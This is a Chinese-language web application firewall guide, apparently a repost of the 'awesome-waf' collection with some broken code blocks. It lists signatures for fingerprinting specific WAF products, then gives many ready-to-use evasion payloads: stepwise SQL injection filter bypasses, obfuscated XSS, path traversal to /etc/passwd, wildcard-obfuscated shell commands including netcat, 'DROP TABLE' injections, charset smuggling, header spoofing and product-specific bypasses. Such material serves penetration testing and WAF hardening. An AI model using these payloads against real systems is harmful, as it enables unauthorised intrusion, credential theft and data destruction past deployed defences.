    • 响应头包含 Secure Entry Server 字段值。
Varnish (OWASP)
  • 可检测性:容易
  • 检测方法:
    • 恶意请求返回 404 Not Found 错误。
    • 响应页面包含:
      • Request rejected by xVarnish-WAF 文本片段。
Varnish CacheWall
  • 可检测性:容易
  • 检测方法:
    • 响应页面包含:
      • Error 403 Naughty, not Nice! 作为标题。
      • Varnish cache Server 作为文本。
Viettel
  • 可检测性:容易
  • 检测方法:
    • 响应页面包含:
      • 拦截页面标题设置为 Access denied · Viettel WAF。
      • 对 https://cloudrity.com.vn/ URL 的引用。
      • 响应页面包含关键词 Viettel WAF system。
      • 联系信息引用 https://cloudrity.com.vn/customer/#/contact URL。
VirusDie
  • 可检测性:容易
  • 检测方法:
    • 响应页面包含:
      • http://cdn.virusdie.ru/splash/firewallstop.png 图片。
      • copy; Virusdie.ru

        版权声明。
      • 响应页面标题包含 Virusdie 关键词。
      • 页面元数据包含 name="FW_BLOCK" 关键词。
WallArm
  • 可检测性:中等
  • 检测方法:
    • Server 头部包含 nginx-wallarm 值。
WatchGuard IPS
  • 可检测性:容易
  • 检测方法:
    • Server 头部可能包含 WatchGuard 字段值。
    • 拦截响应页面包含:
      • Request denied by WatchGuard Firewall 文本。
      • WatchGuard Technologies Inc. 作为页脚。
WebARX Security
  • 可检测性:容易
  • 检测方法:
    • 仅限于 WordPress 站点。
    • 拦截响应页面包含:
      • This request has been blocked by WebARX Web Application Firewall 文本。
      • 对 /wp-content/plugins/webarx/ 目录的引用。
WebKnight
  • 可检测性:容易
  • 检测方法:
    • 响应头包含 WebKnight 关键词。
    • 拦截响应页面包含:
      • WebKnight Application Firewall Alert 文本警告。
      • AQTRONIX WebKnight 文本片段。
    • 拦截响应返回码为 999 No Hacking。 :p
    • 拦截响应返回码也有 404 Hack Not Found。 :p
WebLand
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 Apache Protected By WebLand WAF 关键词。
WebRay
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 WebRay-WAF 关键词。
    • 响应头可能包含 DrivedBy 字段,值为 RaySrv RayEng/{version}。
WebSEAL
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 WebSEAL 关键词。
    • 拦截响应页面包含:
      • This is a WebSEAL error message template file 文本。
      • WebSEAL server received an invalid HTTP request 文本片段。
WebTotem
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含 The current request was blocked by WebTotem。
West263CDN
  • 可检测性:容易
  • 检测方法:
    • 响应头包含 X-Cache 头部字段,值为 WT263CDN。
Wordfence
  • 可检测性:容易
  • 检测方法:
    • 响应头包含 WebKnight 关键词。
    • 拦截响应页面包含:
      • Generated by Wordfence 文本片段。
      • A potentially unsafe operation has been detected in your request to this site 文本警告。
      • Your access to this site has been limited 文本警告。
      • This response was generated by Wordfence 文本片段。
WTS-WAF
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面标题包含 WTS-WAF 关键词。
    • Server 头部包含 wts 作为值。
XLabs Security WAF
  • 可检测性:容易
  • 检测方法:
    • 响应头包含 X-CDN 头部字段,值为 XLabs Security。
Xuanwudun WAF
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含对 http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ 站点 URL 的引用。
Yunaq Chuangyu
  • 可检测性:中等
  • 检测方法:
    • 响应页面包含对以下内容的引用:
      • 365cyd.com 或 365cyd.net URL。
      • 帮助页面引用 http://help.365cyd.com/cyd-error-help.html?code=403。
Yundun
  • 可检测性:容易
  • 检测方法:
    • Server 头部包含 YUNDUN 作为值。
    • X-Cache 头部字段包含 YUNDUN 作为值。
    • 响应页面包含 Blocked by YUNDUN Cloud WAF 文本片段。
    • 拦截响应页面包含对 yundun.com/yd_http_error/ URL 的引用。
Yunsuo
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含图片类引用 yunsuologo。
    • 响应头包含 yunsuo_session 字段名。
YxLink
  • 可检测性:容易
  • 检测方法:
    • 响应可能包含 yx_ci_session Cookie 字段。
    • 响应可能包含 yx_language Cookie 字段。
    • Server 头部包含 Yxlink-WAF 字段值。
ZenEdge
  • 可检测性:容易
  • 检测方法:
    • 拦截响应页面包含对 /__zenedge/assets/ 目录的引用。
    • Server 头部包含 ZENEDGE 关键词。
    • 拦截响应头可能包含 X-Zen-Fury 头部。
ZScaler
  • 可检测性:容易
  • 检测方法:
    • Server 头部值设置为 ZScaler。
    • 拦截响应页面包含:
      • Access Denied: Accenture Policy 文本。
      • 对 https://policies.accenture.com URL 的引用。
      • 对图片 https://login.zscloud.net/img_logo_new1.png 的引用。
      • Your organization has selected Zscaler to protect you from internet threats。
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate。

模糊测试/暴力破解:

方法:

在URL/端点上运行一组payload。一些好用的模糊测试字典:

  • 专门用于模糊测试的字典
    • Seclists/Fuzzing
    • Fuzz-DB/Attack
    • 其他Payload

技术:

  • 将字典加载到模糊测试器中,开始暴力破解。
  • 记录/记录所有来自不同模糊测试payload的响应。
  • 使用随机用户代理,范围从Chrome桌面到iPhone浏览器。
  • 如果检测到被拦截,增加模糊测试延迟(例如2-4秒)。
  • 始终使用proxychains,因为你的IP被拦截的可能性很大。

缺点:

  • 这种方法经常失败。
  • 很多时候你的IP会被拦截(临时/永久)。

正则表达式逆向:

方法:

  • 绕过WAF最有效的方法。
  • 一些WAF依赖于将攻击payload与数据库中的特征进行匹配。
  • 如果payload匹配正则表达式,WAF就会触发警报。

技术:

黑名单检测/绕过

  • 在此方法中,我们通过逐步观察被列入黑名单的关键字来尝试指纹规则。
  • 思路是猜测正则表达式,然后构造不使用黑名单关键字的后续payload。

案例:SQL注入

• 步骤1:

被过滤的关键字:and、or、union
可能的正则表达式:preg_match('/(and|or|union)/i', $id)

  • 被拦截的尝试:union select user, password from users
  • 绕过的注入:1 || (select user from users where user_id = 1) = 'admin'
• 步骤2:

被过滤的关键字:and、or、union、where

  • 被拦截的尝试:1 || (select user from users where user_id = 1) = 'admin'
  • 绕过的注入:1 || (select user from users limit 1) = 'admin'
• 步骤3:

被过滤的关键字:and、or、union、where、limit

  • 被拦截的尝试:1 || (select user from users limit 1) = 'admin'
  • 绕过的注入:1 || (select user from users group by user_id having user_id = 1) = 'admin'
• 步骤4:

被过滤的关键字:and、or、union、where、limit、group by

  • 被拦截的尝试:1 || (select user from users group by user_id having user_id = 1) = 'admin'
  • 绕过的注入:1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• 步骤5:

被过滤的关键字:and、or、union、where、limit、group by、select

  • 被拦截的尝试:1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • 绕过的注入:1 || 1 = 1 into outfile 'result.txt'
  • 绕过的注入:1 || substr(user,1,1) = 'a'
• 步骤6:

被过滤的关键字:and、or、union、where、limit、group by、select、'

  • 被拦截的尝试:1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • 绕过的注入:1 || user_id is not null
  • 绕过的注入:1 || substr(user,1,1) = 0x61
  • 绕过的注入:1 || substr(user,1,1) = unhex(61)
• 步骤7:

被过滤的关键字:and、or、union、where、limit、group by、select、'、hex

  • 被拦截的尝试:1 || substr(user,1,1) = unhex(61)
  • 绕过的注入:1 || substr(user,1,1) = lower(conv(11,10,36))
• 步骤8:

被过滤的关键字:and、or、union、where、limit、group by、select、'、hex、substr

  • 被拦截的尝试:1 || substr(user,1,1) = lower(conv(11,10,36))
  • 绕过的注入:1 || lpad(user,7,1)
• 步骤9:

被过滤的关键字:and、or、union、where、limit、group by、select、'、hex、substr、空格

  • 被拦截的尝试:1 || lpad(user,7,1)
  • 绕过的注入:1%0b||%0blpad(user,7,1)

混淆:

方法:

  • 将payload编码为不同的编码(一种试错方法)。
  • 可以对整个payload或部分进行编码,并递归测试。

技术:

1. 大小写切换

  • 一些开发较差的WAF会选择性过滤特定大小写的WAF。
  • 我们可以组合大小写字符来构造有效的payload。

标准:<script>alert()</script>
绕过:<ScRipT>alert()</sCRipT>

标准:SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
绕过:sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL编码

  • 使用%编码/URL编码对标准payload进行编码。
  • 可以通过在线工具如这个完成。
  • Burp包含内置的编码器/解码器。

被拦截:<svG/x=">"/oNloaD=confirm()//
绕过:%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

被拦截:uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
绕过:uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode标准化

  • Unicode编码中的ASCII字符提供了很好的绕过变体。
  • 可以对整个/部分payload进行编码以获得结果。

标准:<marquee onstart=prompt()>
混淆:<marquee onstart=\u0070r\u06f\u006dpt()>

被拦截:/?redir=http://google.com
绕过:/?redir=http://google。com (Unicode替代)

被拦截:<marquee loop=1 onfinish=alert()>x
绕过:<marquee loop=1 onfinish=alert︵1)>x (Unicode替代)

提示: 看看HackerOne上的这篇和这篇报告。:)

标准:../../etc/passwd
混淆:%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML表示

  • 通常Web应用将特殊字符编码为HTML编码并相应渲染。
  • 这导致了使用HTML编码(数字/通用)的基本绕过案例。

标准:">
编码:&quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (通用形式)
编码:&#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (数字引用)

5. 混合编码

  • 有时,WAF规则往往过滤特定类型的编码。
  • 这类过滤器可以通过混合编码payload绕过。
  • 制表符和换行符进一步增加了混淆。

混淆:``` XSS

root@kitploit:~
__6. 使用注释__
- 注释可以混淆标准载荷向量。
- 不同的载荷有不同的混淆方式。

__被拦截__:`<script>alert()</script>`  
__已绕过__:`<!--><script>alert/**/()/**/</script>`

__被拦截__:`/?id=1+union+select+1,2,3--`  
__已绕过__:`/?id=1+un/**/ion+sel/**/ect+1,2,3--`

__7. 双重编码__
- WAF过滤器通常会对字符进行编码以防止攻击。
- 然而,开发不当的过滤器(无递归过滤)可以通过双重编码绕过。

__标准__:`http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`  
__混淆后__:`http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`

__标准__:`<script>alert()</script>`  
__混淆后__:`%253Cscript%253Ealert()%253C%252Fscript%253E`

__8. 通配符混淆__
- 通配符模式被多种命令行工具用于处理多个文件。
- 我们可以调整它们以执行系统命令。
- 特定于 Linux 系统上的远程代码执行漏洞。

__标准__:`/bin/cat /etc/passwd`  
__混淆后__:`/???/??t /???/??ss??`  
使用的字符:`/ ? t s`

__标准__:`/bin/nc 127.0.0.1 1337`  
__混淆后__:`/???/n? 2130706433 1337`  
使用的字符:`/ ? n [0-9]`

__9. 动态载荷生成__
- 不同编程语言有不同的语法和拼接模式。
- 这使我们能够有效生成绕过许多过滤器和规则的载荷。

__标准__:`<script>alert()</script>`  
__混淆后__:`<script>eval('al'+'er'+'t()')</script>`

__标准__:`/bin/cat /etc/passwd`  
__混淆后__:`/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash 允许路径拼接执行。

__标准__:``  
__混淆__:```

13. Token Breakers(令牌分割器)

  • 对分词器的攻击试图借助令牌分割器来破坏将请求拆分为令牌的逻辑。

  • 令牌分割器是某些符号,它们能够影响字符串元素与某个令牌之间的对应关系,从而绕过基于签名的检测。

  • 不过,使用令牌分割器时请求仍必须保持有效。

  • 案例:分词器未知的令牌

    • 载荷:?id=‘-sqlite_version() UNION SELECT password FROM users --
  • 案例:解析器未知的上下文(注意未闭合的括号)

    • 载荷 1:?id=123);DROP TABLE users --
    • 载荷 2:?id=1337) INTO OUTFILE ‘xxx’ --

提示: 可通过此 小抄 构造更多载荷。

14. 其他格式的混淆

  • 许多 Web 应用程序支持不同的编码类型,并能解释这些编码(见下文)。
  • 将我们的载荷混淆成 WAF 不支持但服务器能够解析的格式,从而偷渡我们的载荷。

案例: IIS

  • IIS6、7.5、8 和 10(ASPX v4.x)允许 IBM037 字符解释。
  • 我们可以对载荷进行编码,并将编码后的参数随查询一起发送。

原始请求:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

root@kitploit:~
混淆请求 + URL编码:```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

以下表格展示了在测试系统上不同字符编码的支持情况(当消息可以使用这些编码进行混淆时):

提示: 你可以使用这个小型 Python 脚本将你的载荷和参数转换为所需编码。

目标编码备注
Nginx, uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273
  • 查询字符串和请求体都需要进行编码。
  • 查询字符串和请求体中的参数会被 URL 解码。
  • 等号和 & 符号也需要进行编码(不使用 URL 编码)。
Nginx, uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
  • 查询字符串和请求体都需要进行编码。
  • 随后,查询字符串和请求体中的参数会被 URL 解码。
  • 等号和 & 符号不应以任何方式进行编码。
Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • 查询字符串保持原始格式(可以像往常一样进行 URL 编码)。
  • 请求体可以带或不带 URL 编码发送。
  • 等号和 & 符号不应以任何方式进行编码。
Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • 查询字符串保持原始格式(可以像往常一样进行 URL 编码)。
  • 请求体可以带或不带 URL 编码发送。
  • 等号和 & 符号不应以任何方式进行编码。
IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025
  • 查询字符串保持原始格式(可以像往常一样进行 URL 编码)。
  • 请求体可以带或不带 URL 编码发送。
  • 等号和 & 符号不应以任何方式进行编码。

HTTP 参数污染

方法:

  • 这种攻击方法基于服务器如何解释同名参数。
  • 可能的绕过机会包括:
    • 服务器使用最后接收的参数,而 WAF 只检查第一个。
    • 服务器合并相似参数的值,而 WAF 分别检查它们。

技术:

  • 思路是枚举服务器如何解释参数。
  • 在这种情况下,我们可以将载荷传递给 WAF 未检查的参数。
  • 将一个载荷分布在多个参数中,然后由服务器进行连接也是有用的。

以下是不同服务器及其相对解释的对比:

环境参数解释示例
ASP/IIS逗号连接par1=val1,val2
JSP, Servlet/Apache Tomcat第一个参数生效par1=val1
ASP.NET/IIS逗号连接par1=val1,val2
PHP/Zeus最后一个参数生效par1=val2
PHP/Apache最后一个参数生效par1=val2
JSP, Servlet/Jetty第一个参数生效par1=val1
IBM Lotus Domino第一个参数生效par1=val1
IBM HTTP Server最后一个参数生效par1=val2
mod_perl, libapeq2/Apache第一个参数生效par1=val1
Oracle Application Server 10G第一个参数生效par1=val1
Perl CGI/Apache第一个参数生效par1=val1
Python/Zope第一个参数生效par1=val1
IceWarp返回数组['val1','val2']
AXIS 2400最后一个参数生效par1=val2
DBMan两个波浪线连接par1=val1~~val2
mod-wsgi (Python)/Apache返回数组ARRAY(0x8b9058c)

HTTP 参数片段

  • HPF 基于服务器将沿参数传递的值合并的原则。
  • 我们可以将载荷拆分为不同的组件,然后通过参数传递这些值。

示例载荷:1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
示例查询 URL:http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

提示: 关于如何使用此方法构造绕过的一个真实案例可以参见此处。

浏览器漏洞:

字符集漏洞:

  • 我们可以尝试将字符集标头更改为更高的 Unicode(例如 UTF-32)并测试载荷。
  • 当站点解码字符串时,载荷会被触发。

示例请求:

root@kitploit:~
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

当站点加载时,它将被编码为我们设置的 UTF-32 编码,然后由于页面的输出编码是 UTF-8,它将被渲染为:"<script>alert (1) </ script> 从而触发 XSS。

最终 URL 编码后的载荷:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

root@kitploit:~
#### 空字节:
- 空字节通常用作字符串终止符。
- 如果 Web 应用程序过滤器没有过滤掉空字节,这可以帮助我们绕过许多 Web 应用程序过滤器。

载荷示例:```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

标准: <a href="javascript:alert()">
混淆后: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
变体: <a 0x00 href="javascript:alert(1)">clickme</a>

解析漏洞:

  • RFC 规定节点名称不能以空白字符开头。
  • 但我们可以使用特殊字符,如 %、//、!、? 等。

示例:

  • <// style=x:expression\28write(1)\29> - 适用于 IE7 及以下版本 (来源)
  • <!--[if]><script>alert(1)</script --> - 适用于 IE9 及以下版本 (参考)
  • <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - 适用于 IE7 (参考)
  • <%div%20style=xss:expression(prompt(1))> - 适用于 IE7 及以下版本

Unicode 分隔符:

  • 每个浏览器都有自己的特定分隔符字符集。
  • 我们可以对 0x00 到 0xFF 的字符集范围进行模糊测试,获取每个浏览器的分隔符集合。
  • 我们可以在需要空格的位置使用这些分隔符。

以下是由 @Masato Kinugawa 整理的分隔符列表:

  • IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
  • Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Safari: 0x2C, 0x3B
  • FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
  • Opera: 0x09, 0x20, 0x2C, 0x3B
  • Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

一个奇特的 Payload 示例:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

root@kitploit:~
### 使用非典型等效语法结构
- 此方法旨在寻找WAF开发者未考虑的利用方式。
- 某些用例可以被调整到关键级别,WAF完全无法检测到这些载荷。
- 该载荷在通过防火墙后被服务器接受并执行。

WAF开发者忽略的一些常见关键词:
- JavaScript函数:
    - `window`
    - `parent`
    - `this`
    - `self`
- 标签属性:
    - `onwheel`
    - `ontoggle`
    - `onfilterchange`
    - `onbeforescriptexecute`
    - `ondragstart`
    - `onauxclick`
    - `onpointerover`
    - `srcdoc`
- SQL运算符
    - `lpad`
    - `field`
    - `bit_count`

示例载荷:  
- __案例:__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>
  • 案例: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)
root@kitploit:~
原始JavaScript有很多替代方案,例如:
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
> 然而,使用上述语法结构的问题在于载荷过长,可能会被WAF检测到或被CSP阻止。不过,谁说得准呢,它们也许能绕过CSP(如果存在的话)。😉

### 滥用SSL/TLS密码套件:
- 很多时候,服务器确实会接受来自各种SSL/TLS密码套件和版本的连接。
- 使用WAF不支持的密码套件来初始化与服务器的连接,可能帮助我们完成目标。

#### 技术细节:
- 找出防火墙支持的密码套件(通常WAF厂商文档中会讨论这一点)。
- 找出服务器支持的密码套件([SSLScan](https://github.com/rbsec/sslscan) 这类工具有帮助)。
- 如果找到了WAF不支持但服务器支持的特定密码套件,那就太棒了!
- 使用该特定密码套件向服务器发起新连接,应该能将我们的载荷偷渡进去。

> **工具**:[abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)```
python abuse-ssl-bypass-waf.py -thread 4 -target <target>

像 cURL 这样的命令行工具对于 PoCs 会非常方便:``` curl --ciphers -G -d

root@kitploit:~
### 滥用 WAF 对 HTTP 响应的限制
#### 方法
- 很多时候,WAF 对它们需要处理的 HTTP 请求的__大小__存在限制。
- 通过发送一个__超过此限制__大小的 HTTP 请求,我们可以完全绕过 WAF。

#### 技术
- 采用试错法找出 WAF 检查了多少 HTTP 请求的内容(通常以 4 kB 的倍数递增)。
- 确定后,在请求中用垃圾数据填满限制部分,然后附加你的 payload。

> 类似的技术曾被用于[绕过 Google Cloud Platform WAF](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf)。

### 利用 DNS 历史记录:
- 旧的 DNS 历史记录通常会提供 WAF 背后站点的位置信息。
- 目标是获取站点位置,以便我们可以将请求直接路由到站点,而不是通过 WAF。
> __提示:__ 一些在线服务如 [IP History](http://www.iphistory.ch/en/) 和 [DNS Trails](https://securitytrails.com/dns-trails) 在侦察过程中可以派上用场。

__工具__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)```
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall

使用白名单字符串:

方法:

  • 一些WAF开发者与他们的用户/开发者共享一个秘密,允许他们绕过WAF发送有害查询。
  • 这个共享秘密如果泄露/被知晓,可以用来绕过WAF中的所有保护。

技术:

  • 在GET/POST/PUT/DELETE请求中使用白名单字符串作为参数,可以将我们的载荷偷偷通过WAF。
  • 通常使用一些*-sync-request关键字或共享的令牌值作为秘密。
  • 有时添加特定的HTTP头可能会触发类似的白名单行为。

现在,当向服务器发送请求时,你可以将其作为参数附加:``` http://host.com/?randomparameter=&=True

root@kitploit:~
> 关于此方法的实际例子可以在[这篇博客](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/)中找到。

### 请求头欺骗:
#### 方法:
- 目标是欺骗WAF/服务器,使其认为请求来自其内部网络。
- 添加一些伪造的请求头来模拟内部网络即可实现。

#### 技术:
- 每个请求都需要同时添加一组特定的请求头,从而伪造请求来源。
- 上游代理/WAF误认为请求来自其内部网络,从而放行我们恶意的payload。

一些常用的请求头包括:```
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

Google Dorks 方法:

步骤:

  • 有许多已知的各种 Web 应用防火墙的绕过方法(参见章节)。
  • 借助 Google dorks,我们可以轻松找到绕过方法。

技巧:

在开始之前,您应该先通过 Google Dorks 速查表 提升技能。

  • 常规搜索:
    +<waf名称> waf 绕过

  • 搜索特定版本漏洞:
    "<waf名称> <版本>" (绕过|漏洞)

  • 针对特定类型的绕过漏洞:
    "<waf名称>" +<绕过类型> (绕过|漏洞)

  • 在 Exploit DB 上:
    site:exploit-db.com +<waf名称> 绕过

  • 在 0Day Inject0r DB 上:
    site:0day.today +<waf名称> <类型> (绕过|漏洞)

  • 在 Twitter 上:
    site:twitter.com +<waf名称> 绕过

  • 在 Pastebin 上:
    site:pastebin.com +<waf名称> 绕过

已知绕过方法:

Airlock Ergon

  • 超长 UTF-8 序列绕过 SQL 注入 (>= v4.2.4) 由 @Sec Consult 提供``` %C0%80'+union+select+col1,col2,col3+from+table+--+
root@kitploit:~
### AWS WAF
- [SQL注入绕过](https://github.com/enkaskal/aws-waf-sqli-bypass-PoC) 作者 [@enkaskal](https://twitter.com/enkaskal)```
"; select * from TARGET_TABLE --
  • XSS绕过 由 @kmkz```

Keep-Alive: 300

root@kitploit:~
- R-XSS Bypass 由 [@WAFNinja](https://waf.ninja)```
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
  • XSS绕过 by @0xInfection```

alert dragme click ``` GET - XSS绕过 (v4.02) 作者 [@DavidK](https://www.exploit-db.com/?author=2741)``` /search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

root@kitploit:~
- POST - XSS绕过 (v4.02) 由 [@DavidK](https://www.exploit-db.com/?author=2741)```
<img src="https://raw.githubusercontent.com/0xinfection/awesome-waf/HEAD/WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](https://github.com/0xinfection/awesome-waf/blob/HEAD/e+s+v+h+n)(/0wn3d/
.source)" />
  • clave XSS (v4.02) 作者 @DavidK``` /?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{
root@kitploit:~
### Fortinet Fortiweb
- `pcre_expression` 未经验证的 XSS 由 [@Benjamin Mejri](https://www.exploit-db.com/?author=7854)```
/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 
  • CSP绕过 by @Binar10

POST类型查询```

root@kitploit:~

---

[Read more](https://github.com/0xinfection/awesome-waf)